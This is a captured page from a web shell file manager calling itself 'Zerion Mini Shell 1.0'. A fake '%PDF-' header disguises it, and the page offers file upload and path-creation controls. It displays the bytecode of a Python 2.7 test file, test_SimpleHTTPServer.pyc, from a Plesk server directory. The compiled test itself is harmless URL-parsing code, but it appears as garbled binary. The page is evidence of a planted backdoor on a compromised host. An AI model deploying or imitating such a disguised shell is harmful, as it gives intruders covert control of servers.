%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib64/python2.7/test/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib64/python2.7/test/test_SimpleHTTPServer.pyc

�
5}�ac@s�dZddlZddlZddlmZddlmZdefd��YZdejfd��YZ	d	�Z
ed
kr�e
�ndS(s^
These tests only check url parsing for now.
We don't want to require the 'network' resource.
i����N(tSimpleHTTPRequestHandler(ttest_supporttSocketlessRequestHandlercBseZd�ZRS(cCsdS(N((tself((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_SimpleHTTPServer.pyt__init__s(t__name__t
__module__R(((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_SimpleHTTPServer.pyRst SimpleHTTPRequestHandlerTestCasecBs)eZdZd�Zd�Zd�ZRS(s Test url parsing cCs:tj�|_tjj|jd�|_t�|_dS(Ntfilename(tostgetcwdt
translatedtpathtjoinRthandler(R((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_SimpleHTTPServer.pytsetUpscCss|jjd�}|j||j�|jjd�}|j||j�|jjd�}|j||j�dS(Ns	/filenames/filename?foo=bars/filename?a=b&spam=eggs#zot(Rttranslate_pathtassertEqualR(RR((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_SimpleHTTPServer.pyttest_queryArgumentsscCsN|jjd�}|j||j�|jjd�}|j||j�dS(Ns
//filenames//filename?foo=bar(RRRR(RR((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_SimpleHTTPServer.pyttest_startWithDoubleSlashs(RRt__doc__RRR(((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_SimpleHTTPServer.pyRs		cCstjt�dS(N(Rtrun_unittestR(((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_SimpleHTTPServer.pyt	test_main%st__main__(RR	tunittesttSimpleHTTPServerRttestRRtTestCaseRRR(((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_SimpleHTTPServer.pyt<module>s	

Zerion Mini Shell 1.0